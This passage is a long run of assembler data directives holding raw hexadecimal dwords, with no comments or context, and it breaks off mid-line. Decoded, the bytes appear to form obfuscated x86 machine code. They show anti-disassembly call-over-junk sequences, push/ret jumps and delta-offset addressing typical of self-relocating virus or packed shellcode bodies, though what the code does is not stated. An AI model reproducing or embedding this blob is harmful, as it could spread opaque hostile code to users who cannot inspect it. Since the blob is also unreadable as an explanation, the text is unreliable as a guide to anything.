895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 132DC357h, 2CA3EA8h, 81D0FF54h, 0BEBDC0E3h dd 0D858914h, 0B2064E0Ah, 5DBD89C6h, 0C6064E10h, 4E040185h dd 6A4506h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 8BFD11C3h, 18A43F4Ah, 0E90FD621h, 0Ah, 0A4B4529h dd 6FB5A1C7h, 4E889F4h, 69000000h, 668E7269h, 50D197BBh dd 476ADEBAh, 24448B21h, 8B525004h, 0E8310FDFh, 13h, 83B2B66Eh dd 0CEE89B92h, 91BDB643h, 0BF607675h, 53123F88h, 585A5B5Ah dd 8B66008Bh, 244489D3h, 58D98A04h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 96C35343h, 0E147E82Ah, 0DB80649Eh dd 0CE938h, 0D0D10000h, 3E10365Dh, 0CB45A9E2h, 0B5FF7A5Bh dd 64E24C9h, 2AC59533h, 858D064Eh, 6517D21h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 56C35040h, 6B5ED7D7h dd 78AC9441h, 0AE9h, 2D523200h, 63E9B15Dh, 0FF8AB247h dd 8BFDB6D0h, 4E2D0195h, 0CD858906h, 6A064E0Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0CE7FC350h, 0EA818BE8h, 3CF69C16h, 8C66D28Bh, 14E9D9h dd 6A850000h, 66DB989Ch, 7CC6A624h, 0B57D8C0h, 7A758D97h dd 0C1F61736h, 10840F04h, 89000002h, 4E077595h, 0D18D3106h dd 0E9064E06h, 0E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 9CC35646h, 17E9ADDCh, 8501793Ah, 64E197Dh dd 314DB58Bh, 0BA66064Eh, 0C681B23Ch, 1180h, 12CDBD83h dd 0F00064Eh, 1585h, 4800F00h, 66000000h, 0E9205CBAh, 80h dd 9AEBEA81h, 3E8332F6h, 71840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0D3DBC356h, 9589EE04h, 64E14B5h, 0F146A60h, 88Eh, 2800F00h dd 60000000h, 5995FF61h, 6A064E1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5141C355h dd 8F2EB188h, 8AF6F79Bh, 0B58961F8h, 64E1215h, 0FFFF89E9h dd 15DF80FFh, 106C7h, 9D8B0000h, 64E09F5h, 4DB8BD83h, 0F05064Eh dd 11285h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 6E25D64h, 0BD8930BAh, 64E1651h, 0FCDB58Bh dd 14E9064Eh, 0AF000000h, 5DECEE56h, 752E773Ah, 7A31ADDh dd 0FDA90AEDh, 0B9D4D153h, 64h, 0CE9h, 9DFC9800h, 0DBBD9022h dd 0CCD36315h, 0E83E805Ch, 3B840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BB4B74C3h dd 0FC1321DFh, 9589B84Eh, 64E10CDh, 45E9h, 21BD8900h, 8B064E04h dd 4E138D95h, 57E8006h, 53840FC2h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D3ABC355h, 0C6A71414h, 9D8B5D23h, 64E0481h, 2C36E281h dd 0F464E12h, 583h, 0E2816600h, 0F491CFBh, 0FFFF7085h dd 899D8BFFh, 0E9064E06h, 1Bh, 5259D8Bh, 0B589064Eh, 64E3135h dd 0AE9h, 0B463C00h, 15811334h, 58C49E41h, 6608C280h, 0BD83D88Bh dd 64E0B39h, 17840F00h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0D6C9C351h dd 0D18B7B27h, 50006A60h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0F902214Ch, 748BC744h dd 0B866608Ah, 8B61A6D9h, 4E2C5D95h, 185C606h, 54064E04h dd 5D58D01h, 4E8064Eh, 0F4000000h, 50FF4EBEh, 448BD18Bh dd 0DA8B0424h, 5E9008Bh, 1E000000h, 86EC89E7h, 4244489h dd 92BA5357h, 5A31221Ah, 0D280585Ah, 0C9B5FF92h, 81064E24h dd 0FC0B95F3h, 21858D4Ah, 6606517Dh, 0D0FFD88Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2DC35747h, 6C935B82h dd 0D8D3106h, 0F5064E12h, 0B5FF006Ah, 64E0B39h, 175DBD89h dd 0D0FF064Eh, 2CE9B589h, 6A61064Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FFBBC352h dd 69E1F855h, 6830Fh, 0E3810000h, 127D0766h, 0E89D381h dd 85C712F8h, 64E30FDh, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0CCC35343h, 0D78B2805h, 50006A60h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 2E0315FBh, 15CF39A9h, 11E9EFh, 0A7030000h, 0A67A854Fh dd 0C78221CCh, 0E0191F69h, 0E8BE8F8Bh, 11h, 0F98B7A48h dd 7DCDF413h, 677612DDh, 7D74660h, 5AD08A51h, 4468DA8Bh dd 0E9E18FE1h, 14h, 9E6ACF88h, 8D46E6BFh, 70D8532Eh, 6E81CA67h dd 0AD2A1D37h, 3C240481h, 6A1E701Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 6B21C352h dd 0DDB2A0C2h, 0B70F73A1h, 81FF6AD0h, 59DFE9CAh, 3195FF17h dd 89064E22h, 4E02C5BDh, 8B666106h, 525050D7h, 13E9h, 755FCD00h dd 26FCABD4h, 0C2CB6678h, 0E336EEC0h, 0DB664898h, 5E8310Fh dd 0F0000000h, 4BDBBD1h, 5A5AD48Ah, 24048958h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E9C35141h, 5D8A204Ch dd 0D65858Bh, 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 55113FC3h, 0B24167Ah, 46840FC0h dd 0E9000000h, 6, 0F3B093BFh, 95FFCAB4h, 64E0FB5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B7C35242h, 0E84EBED7h dd 0Bh, 10073029h, 48B5D039h, 66AB969Dh, 0CD17CB81h, 2185C75Bh dd 1064E00h, 8B000000h, 4E2BA99Dh, 25BD8306h, 64E0Eh, 35840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 70712DC3h, 3EE1E746h, 816602C1h, 0FF1F3EEBh dd 4E1F4195h, 518D0906h, 83064E12h, 4E0E39BDh, 840F0006h dd 34h, 2D7D95FFh, 6A064Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 619ADC3h, 690B21E7h dd 709958Bh, 0CB81064Eh, 5790646Eh, 1611BD83h, 0F00064Eh dd 3084h, 39958B00h, 83064E0Fh, 4E060DBDh, 850F0006h, 1Dh dd 68F28166h, 4D95FF9Dh, 0E9064E0Eh, 0Dh, 3948F133h, 90A4B758h dd 9883402Fh, 19BD83E8h, 64E11h, 70840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 9E4336C3h, 49742016h, 0BB50F78Ah, 4AD702C4h, 0DBB70F5Bh dd 21B98581h, 4003064Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 66663DC3h, 43054919h dd 81955837h, 4E300185h, 400306h, 0D98B6600h, 2C7D8529h dd 310F064Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 67C35040h, 14697A36h, 0EA22BF7Ah, 0CE8h, 2DAEBE00h dd 98D404E1h, 0E695FDA3h, 53C380BCh, 8D89575Bh, 64E175Dh dd 7A8D8D5Bh, 1064E5Eh, 4E30E185h, 28E0F06h, 8B000000h dd 6A0189DFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 708AC350h, 89274459h, 33DE8B66h dd 44189C2h, 19AD9D8Bh, 310F064Eh, 0DE9h, 9029E600h, 34FA1ABAh dd 0CFF1CE0h, 8D8DB1F7h, 64E5EA9h, 27DBD89h, 189064Eh dd 28D958Bh, 0C233064Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0AAC35242h, 4189447Dh, 0EF8004h, 1605BD83h dd 0F00064Eh, 0E84h, 0A4EB8000h, 2FA995FFh, 0D4BA064Eh dd 8355BC9Eh, 4E2C15BDh, 850F0106h, 81h, 8518501h, 0BF60064Eh dd 54B6D0Fh, 259D33h, 0E961064Eh, 69h, 8B09DA80h, 4E5FCDB5h dd 6C706h, 8B000000h, 4E5D7FB5h, 6C706h, 0CF000000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CFC35747h, 0F57FD1Ah dd 138Ch, 0EE900h, 0CA120000h, 2F268DCEh, 0F6FBAD06h, 0B8617B6Ch dd 9E95Ah, 25D0000h, 5169B1DDh, 0BAA53E0h, 4E0EA195h, 21BD8306h dd 64E00h, 180840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0BC7C4C3h, 0DEE107A7h dd 83001E83h, 4E2275BDh, 850F0106h, 121h, 8D8BE9B7h, 64E4DACh dd 0E90001C6h, 0Bh, 13BA3BF7h, 7FE1B68Fh, 8B5946AAh, 4E149995h dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 88F9BEC3h, 1B68C3A9h, 0BA64DC8Fh, 320E9511h dd 9B243481h, 6A64DC8Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 1AD3C357h, 0B1C71A39h dd 958BFF6Ah, 64E0B5Dh, 223195FFh, 42BA064Eh, 615029D8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 83C35343h dd 24BE0DC1h, 0FFC2FDBEh, 4E02A595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BA66A77Eh dd 8D8BB64Eh, 64E4DACh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 8BC35141h, 1B25958Bh, 870F064Eh, 19h dd 14E9h, 51F13A00h, 95B44418h, 4E25FE57h, 4E7FA5C7h, 12D43639h dd 2901FEE7h, 4E1425BDh, 49BD8306h, 1064E04h, 20850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 971444C3h, 0C08B40CCh, 1661958Bh, 0BD83064Eh dd 64E2D45h, 83097500h, 4E19E1BDh, 1A740006h, 0C08B5350h dd 21B9858Bh, 8589064Eh, 64E21B9h, 0B9419D8Dh, 0D3FF0650h dd 0BD83585Bh, 64E19E1h, 50187400h, 0B9858B53h, 89064E21h dd 4E21B985h, 309D8D06h, 0FF0650B6h, 60585BD3h, 75952B60h dd 66064E0Ch, 61D469B8h, 0CE8h, 0E7433500h, 0C8EEFA94h dd 0E06E60BFh, 0DFB70F96h, 0BA66615Ah, 0C08B5C80h, 0BBBB6657h dd 0BD835BADh, 64E0021h, 15850F00h, 8A000000h, 0BDBD83F8h dd 64E24h, 6840Fh, 9D8B0000h, 64E0CF1h, 21BD83h, 0F00064Eh dd 4484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0DD662223h, 9616CCCDh, 2C41BD83h dd 0F00064Eh, 1484h, 0FE900h, 0C42A0000h, 0A2B65E68h, 0D80880Ah dd 0F3771587h, 21BD83EDh, 64E00h, 13840Fh, 9D8B0000h, 64E0371h dd 2C41BD83h, 0F00064Eh, 84h, 21BD8300h, 64E00h, 4A840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F86DD4C3h, 91958BC9h, 83064E05h, 4E0D8DBDh dd 840F0006h, 18h, 5E8h, 704EC400h, 8E9965Dh, 0DC000000h dd 0AB1468CAh, 5BEA5FBCh, 21BD83h, 0F00064Eh, 6884h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0FE3488FEh, 94C55664h, 0C1BD8380h, 64E0Eh, 37840Fh dd 0B70F0000h, 1995FFD6h, 6A064E13h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B1F4C352h dd 541512E2h, 0B70F8C39h, 9D8B52D6h, 64E3095h, 0BBC08B5Ah dd 76145CD4h, 2D45BD83h, 7500064Eh, 0E1BD8309h, 64E19h dd 53501A74h, 858BC08Bh, 64E3001h, 30018589h, 9D8D064Eh dd 650B9A8h, 585BD3FFh, 19E1BD83h, 7400064Eh, 8B535018h dd 4E300185h, 1858906h, 8D064E30h, 50B6499Dh, 5BD3FF06h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0B5C90613h, 2569958Bh, 6A064Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 194A15C3h, 0BE8h, 4F12AC00h, 17505446h, 0C564032Bh dd 0BC08B5Ah, 4E04519Dh, 21BD8306h, 64E00h, 55B840Fh, 0BB660000h dd 0BD834DE5h, 64E18A1h, 19840F02h, 89000000h, 4E271DBDh dd 15BD8306h, 1064E2Ch, 6850Fh, 958B0000h, 64E31C9h, 2BF5BD83h dd 0F00064Eh, 0BE84h, 0DBEB8100h, 600FFEE7h, 68D0Fh, 9D030000h dd 64E0FC9h, 4DAC8D8Bh, 0BD89064Eh, 64E1329h, 6A01FEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 53C2A4C3h, 661DEB0Ch, 0E8B64ABBh, 4, 80h, 5AD98B56h dd 0D88B6650h, 424448Bh, 8BDE8Bh, 26FEBA66h, 4244489h dd 0ED862BBh, 0CB815818h, 5EFB3E5Bh, 0FF6AD68Bh, 5870Fh dd 81660000h, 8B1957E3h, 4E05299Dh, 3195FF06h, 89064E22h dd 4E12399Dh, 6A6106h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 520E6FC3h, 25BE1C91h, 29958B0Eh dd 60064E00h, 6204BA66h, 4DAC8D8Bh, 6A064Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 874D1C3h dd 5866F78Bh, 0E9E9375Ah, 6, 349CE675h, 1FE11F2h, 0F8B5BFBAh dd 4E844h, 800000h, 0B6520000h, 0E9505AD1h, 6, 5D8D8F30h dd 448B0C51h, 0AE80424h, 41000000h, 6DBC213Eh, 0F4E52270h dd 8B5A8Fh, 448907B2h, 8C0F0424h, 5, 0B3D4ACBAh, 8B535861h dd 0FF6A5AD1h, 0F156D381h, 95FF3A60h, 64E2231h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h dd 2BC35040h, 8B5BE0C9h, 3D958BD6h, 0F064E0Bh, 6661D8BFh dd 8D35CBBAh, 4E32A5BDh, 28EA8006h, 6A1C4F8Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 769C350h, 0B32DA003h, 22BE632Ah, 8B66016Ah, 8D0F50D1h dd 8, 2880Fh, 61600000h, 0E9240C89h, 0Fh, 0B750342Ah, 7072DACh dd 647B8181h, 8D4FE0FDh, 51468885h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 28F235F4h dd 24E28166h, 5810F61h, 0BA000000h, 14858F0h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0E2644AC3h, 0CC1A087h, 4F8BB691h, 53006A20h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 898314C0h dd 4E2935B5h, 5E906h, 0E37A0000h, 662DD7BCh, 36AD68Bh dd 68F0F56h, 8B000000h, 4E263995h, 0BA505B06h, 2CFDD34Fh dd 0E9240C89h, 0Eh, 0B5892E23h, 0ACE0A447h, 3D0B7A4h, 858DD7BBh dd 6514688h, 12E9h, 21215D00h, 0B806503Dh, 0D23AF621h dd 0D666ADD3h, 0FF81D1F6h, 8D8960D0h, 64E0B29h, 7719589h dd 6661064Eh, 0BD8DDE8Bh, 64E32A5h, 8BD8B70Fh, 6A1C4Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 850128C3h, 64E0CB1h, 0B531016Ah, 64E0815h, 505A5091h dd 8E851h, 0C9CB0000h, 0E4896FC0h, 0A4BAB615h, 5B42F960h dd 6A915Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 69B1DDC3h, 0AA53E051h, 9533A3D2h, 64E0F69h dd 4688858Dh, 0F3810651h, 1ECDFF0Bh, 0FF28E680h, 0DF8B66D0h dd 6A204F8Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8189C356h, 820D38F2h, 0FC036A70h dd 0BA665250h, 895B4C1Eh, 6A240Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8D3C94C3h, 51468885h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 13DD84B6h, 53E79898h, 0FFF38A43h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 670699BBh, 8D8BD78Bh, 64E4DACh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 16C35545h, 0D833D1B8h, 6A01FEh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0A04F9CC3h, 0AB2471B9h, 3D95892Ch, 8A064E31h, 0DBC281F3h dd 8B788C02h, 4E4DAC85h, 0FE906h, 39700000h, 2FA40F0h dd 0AA753DA4h, 4D355184h, 8B00FE83h, 4E1B459Dh, 0E8016A06h dd 0Eh, 0B781A549h, 0AFCF73A7h, 0CA892D06h, 0E960DF13h dd 11h, 0C13710Eh, 993A62Bh, 0A30067D6h, 73F92BE5h, 890F59h dd 61000000h, 4E85Ah, 9FFF0000h, 0FA8AFFFFh, 5870F50h dd 0BB000000h, 595C42C0h, 424448Bh, 8E8h, 23FAC300h, 4995EE71h dd 8B5BE9h, 12E8h, 401DA500h, 6F0DF8A1h, 68ADB7Ch, 0B2D02092h dd 0F16BD2Dh, 1787h, 11E800h, 75CD0000h, 4D290DBAh, 0A3BA72Fh dd 99D4D57h, 5A9ED988h, 2444895Bh, 5841B604h, 9359D8Bh dd 858D064Eh, 6514692h, 0CB807BB3h, 8BD0FF10h, 4E082D9Dh dd 0BDBD8306h, 64E24h, 124840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D62D55C3h dd 0EDC163A3h, 8C0F3154h, 0Ah, 4830Fh, 0BA660000h, 0BD830872h dd 64E2649h, 0E3850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 6ABFC351h dd 0E80C21AEh, 9, 83C78C25h, 0B3DDE4D1h, 0BD8D895Ah, 5B064E2Bh dd 469C8D8Dh, 9D330651h, 64E0EA9h, 6A036Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A070BBC3h dd 4312F810h, 9D0B205Ah, 64E0529h, 0BE5958Bh, 16A064Eh dd 12E9h, 7D5D0100h, 0BCDFE0ADh, 0CBD45533h, 0A3C25428h dd 0FF9CDD2Fh, 0D88B66D1h, 10E9016Ah, 0A3000000h, 0CAA42196h dd 4E81AAA0h, 4A3ABEABh, 6AF58FA8h, 588EBA01h, 0D1FF0270h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 28C35343h dd 89CEF88Ch, 4E2C7585h, 39858906h, 0E8064E2Bh, 0FA0D5A9Ah dd 206AACB3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 10C35141h, 5CAD341h, 95126246h, 0E19D8B65h, 6A064E02h dd 498589FFh, 29064E2Bh, 4E0EBD95h, 3195FF06h, 6A064E22h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 2CA0C353h, 0B3F74E15h, 0B8471274h, 0 dd 166D8589h, 0C00B064Eh, 2A840Fh, 0F600000h, 958BD9B7h dd 64E2195h, 85BD8361h, 64E08h, 12840Fh, 50BB0000h, 0FF557D22h dd 4E2CE595h, 0BBBB6606h, 0D6BF0FABh, 2925858Bh, 9D8B064Eh dd 64E20C9h, 800000C6h, 13E946CFh, 6B000000h, 0D2703D81h dd 0A7EB4EC1h, 0C24C23A7h, 41D9F56Bh, 0F585A7Ah, 280h dd 66A2B700h, 0CB81D98Ch, 55A170BEh, 0F04C1F6h, 8D84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 1B400C2h, 559EE0E6h, 89DA8B66h, 4E17658Dh dd 5CE906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0A63D07C3h, 50A9A7CDh, 559D8B52h dd 8B064E0Ah, 4E314DB5h, 0E5B52906h, 81064E28h, 1180C6h dd 619D8B00h, 0C7064E1Fh, 6, 10E900h, 0B6270000h, 0E858B449h dd 4A031165h, 29AA1887h, 6A5E8B8Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3586C353h dd 30D574DCh, 8166DD13h, 83DD10C2h, 840F00F8h, 0AA8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 52C35141h, 0F01F883h dd 17085h, 11EB8000h, 0B8h, 1D852900h, 0B064E0Bh, 9A840FC0h dd 89000000h, 4E0C4195h, 1F88306h, 0AE840Fh, 830F0000h dd 4, 9402BB66h, 15858953h, 5B064E16h, 0F03F883h, 4F84h dd 0B850B600h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 99C35545h dd 0F99D519Ch, 7974BD8Dh, 0DE9005Bh, 1B000000h, 8AD7B348h dd 99F704FAh, 500B427Ah, 0E6CB8157h, 5A21156Fh, 958BE7FFh dd 64E2189h, 1B8h, 8DD08A00h, 5B7974BDh, 0D5850100h, 89064E26h dd 4E2C0DBDh, 89E7FF06h, 4E02E18Dh, 38BD8D06h, 0E9064E44h dd 12h, 0BB3CE809h, 2282CABEh, 0E2A04CFh, 2BDEB9E7h, 0A1E9D8D8h dd 0F5000002h, 4E0785C7h, 5064Eh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F943C7C3h dd 0C18899Bh, 2631958Bh, 5B8064Eh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 8279C350h, 5898D3AFh, 0CA6533CCh, 10E9h, 6E086100h dd 5ABAD0F8h, 69892A11h, 6E68B499h, 8A5E918h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0FF8EB4C3h, 8B69908Eh, 4E148D9Dh, 2F88306h, 0F3850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A83A84C3h, 0E1A9265Fh, 66B8F568h, 0B8DDEBBAh dd 0 dd 21299509h, 0C00B064Eh, 75840Fh, 9D0B0000h, 64E2289h dd 0E78DBB66h, 0F01F883h, 0FFFF0B84h, 399D2BFFh, 83064E15h dd 840F03F8h, 0FFFFFEB8h, 2B80EF80h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 47017783h dd 0EE663530h, 8DDBB70Fh, 5B7974BDh, 0CA816600h, 0E7FFA168h dd 12E8h, 0C2D22300h, 2DEF8D41h, 5E9C3018h, 20A02002h dd 0FE8159Eh, 8D5BD9B7h, 4E4630BDh, 0A6C28006h, 13BE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 460114EEh, 8962C0A6h, 4E2C0D85h, 68E0F06h dd 89000000h, 4E11E1BDh, 3F88306h, 3B850Fh, 8D090000h dd 64E19D9h, 47C4BD8Dh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0DE2110C3h, 0D7AF8643h dd 8AA487A6h, 0C6E9D0h, 0B70F0000h, 5F883D6h, 2F850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 60CB0CC3h, 3BE6CABAh, 0ADA9BB7Bh, 8E94F80h dd 8B000007h, 6F883DAh, 15850Fh, 0B70F0000h, 0BCBD8DDEh dd 0F8064E49h, 73E9h, 0B1EB8100h, 83355A4Ah, 850F07F8h dd 3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah dd 9DC35747h, 233B6Eh, 0BD8DAC0Fh, 64E22ADh, 0E1D9D09h dd 0C5E9064Eh, 89000000h, 4E2AC585h, 399D8B06h, 83064E10h dd 850F0AF8h, 1Ch, 0D0EB8166h, 0B4BD8D46h, 1064E4Bh, 4E222185h dd 6E906h, 0BD890000h, 64E26CDh, 0DABF0F57h, 0D9A8BCB9h dd 7E91Bh, 15F60000h, 10157690h, 3F8387h, 4A840Fh, 8C0F0000h dd 2, 860FD98Bh, 6, 3E19D8Bh, 0F30064Eh, 2E99D8Bh, 0C9D1064Eh dd 947F98Ah, 4E2D218Dh, 0FFCBE906h, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0D4AB2CC3h dd 55006A5Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 6063B42Ah, 0BD8960A2h, 64E0E05h, 61F0B70Fh dd 4DB0BD89h, 870F064Eh, 6, 15198D89h, 8D8D064Eh, 64E29CDh dd 18810Fh, 13E90000h, 2F000000h, 0B5DB1D2Eh, 0D4BCF261h dd 81360C10h, 329DCC22h, 0B5FFB80Ah, 64E0FCDh, 858D68B3h dd 650AABEh, 11BD8D50h, 8D064E55h, 4E711E8Dh, 1ABCB806h dd 0CF2B5483h, 0C8D00730h, 0F8754947h, 709AB58Dh, 8D8D064Eh dd 64E7136h, 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h dd 4E0885BDh, 6740006h, 2CE595FFh, 0B58B064Eh, 64E4DB0h dd 0AABE858Dh, 0D0FF0650h, 4216858Dh, 0D0FF064Eh, 1A3985C7h dd 1064Eh, 0A58B0000h, 64E3081h, 2C35B58Bh, 0AD8B064Eh dd 64E1595h, 0CC2C033h, 359D8B00h, 8B064E12h, 4E318595h dd 0E9BD8306h, 64E15h, 4D840Fh, 8D890000h, 64E20BDh, 257195FFh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 4EFF4EC3h, 0E8FAE7B9h, 13h, 8A1FC4EFh, 78CE0FB2h dd 8663F27Eh, 0E46218CFh, 66B25D74h, 2890D381h, 83D68B5Ah dd 4E12CDBDh, 850F0006h, 18Ah, 49BD83FCh, 1064E26h, 17C850Fh dd 81660000h, 836A6EEAh, 4E2B4DBDh, 840F0006h, 16Ah, 2DB58B60h dd 0E9064E31h, 5, 0AF7771AAh, 0BD83613Eh, 64E4E03h, 4B840F00h dd 56000001h, 8D5B33B2h, 50AABE85h, 11E906h, 0AB460000h dd 0D9A98E76h, 0A5F55F4Dh, 595E95A5h, 8BCE812Ah, 4E4DB0B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0F86F09DAh, 3AC106DBh, 8D89C243h, 64E02E9h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 958BE6C3h, 64E07B1h, 2BD9D2Bh, 85C6064Eh dd 64E0401h, 22C38054h, 0D09C4B68h, 818EB6E7h, 22A92404h dd 8960177Eh, 4E25CD95h, 6114B706h, 2F658529h, 0B5FF064Eh dd 64E25D1h, 38B0Fh, 0D7800000h, 0D8858D51h, 66064E39h dd 0F75BD381h, 0AFD8D89h, 0D0FF064Eh, 201D9529h, 6A064Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 56C35040h dd 0E71C6802h, 502408E7h, 87BB66C7h, 0B18D89F5h, 6A064E0Eh dd 0AE9FFh, 61D90000h, 0AA76BF2Eh, 0E2A1CA07h, 958BD0FFh dd 64E2B49h, 1781B5FFh, 8166064Eh, 0FF83E0DBh, 4E0FCD95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0FEF23BEFh, 7719D89h, 0B58B064Eh, 64E4DB0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EAC35343h dd 8E881h, 0FA560000h, 9D3CCA78h, 8B0FC6E2h, 0 dd 0ED95035Ah, 0C3064E19h, 80D38166h, 25B58BD3h, 6A064E29h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0BF34C357h, 840FA03Ch, 5, 97C28166h, 0BD08A4Ch dd 2D840FF6h, 0F000000h, 686h, 